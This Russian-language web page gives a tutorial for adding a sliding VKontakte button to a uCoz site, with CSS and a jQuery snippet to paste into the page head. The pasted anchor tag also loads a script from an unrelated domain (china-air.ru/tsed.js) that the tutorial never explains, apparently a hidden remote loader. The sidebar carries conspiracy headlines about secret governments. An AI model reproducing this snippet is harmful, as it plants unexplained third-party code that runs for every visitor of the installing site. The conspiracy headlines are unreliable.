СЛУЧАЙНЫЕ СТАТЬИ
ПОСЛЕДНИЕ МАТЕРИАЛЫ
  • MPUAV Cormorant
  • [Перспективные боевые системы]
    [16.11.2009]
  • Космолет Skylon
  • [R&D]
    [27.02.2009]
  • Бильдербергский план на 2009 год: перестройка всемирной политэкономики
  • [Тайные правительства]
    [19.11.2009]
  • БЭЛА на основе ионизации воздуха
  • [R&D]
    [01.08.2008]
  • Орбитальная станция
  • [Космос]
    [25.01.2013]
  • Falcon-9 [РН]
  • [Космос]
    [24.01.2013]
  • Федералы и управленцы Уолл-стрит прячутся по норам
  • [Тайные правительства]
    [23.01.2013]
  • Cougar-H
  • [Перспективные боевые системы]
    [23.01.2013]
    Главная » 2012 » Декабрь » 15 » Выдвижная кнопка ВКонтакте для uCoz
     

    Выдвижная кнопка ВКонтакте для uCoz

    Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz

    Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.

    Установка

    1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:

    Code
    #vkontakte_button img {  
      position: fixed;  
      top:125px;  
      right: -76px;  
      z-index: 99999;  
      cursor: pointer;  
      display: block;  
      }


    2.) Следующий код вставляем в любое место на странице между head и /head:

    Code
    <script type="text/javascript">  
      $(function($) {  
      $("#vkontakte_button img").hover(  
      function () {  
      $(this).animate({right: '0'}, {queue:false, duration: 350});  
      //$(this).css('right', '0');  
      },  
      function () {  
      $(this).animate({right: '-76px'}, {queue:false, duration: 350});  
      // $(this).css('right', '-76px');  
      }  
      );  
      });  
      </script>  
      <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">  
      <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
      </a>


    Настройка скрипта

    Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..

    Вот и все, установка и настройка завершена.

    Категория: / Дата: 29.03.2024 / Прочитано: 375/ Добавил: startsmart
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Статистика
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Форма входа
    Календарь
    «  Декабрь 2012  »
    ПнВтСрЧтПтСбВс
         12
    3456789
    10111213141516
    17181920212223
    24252627282930
    31
    Архив записей
    Друзья сайта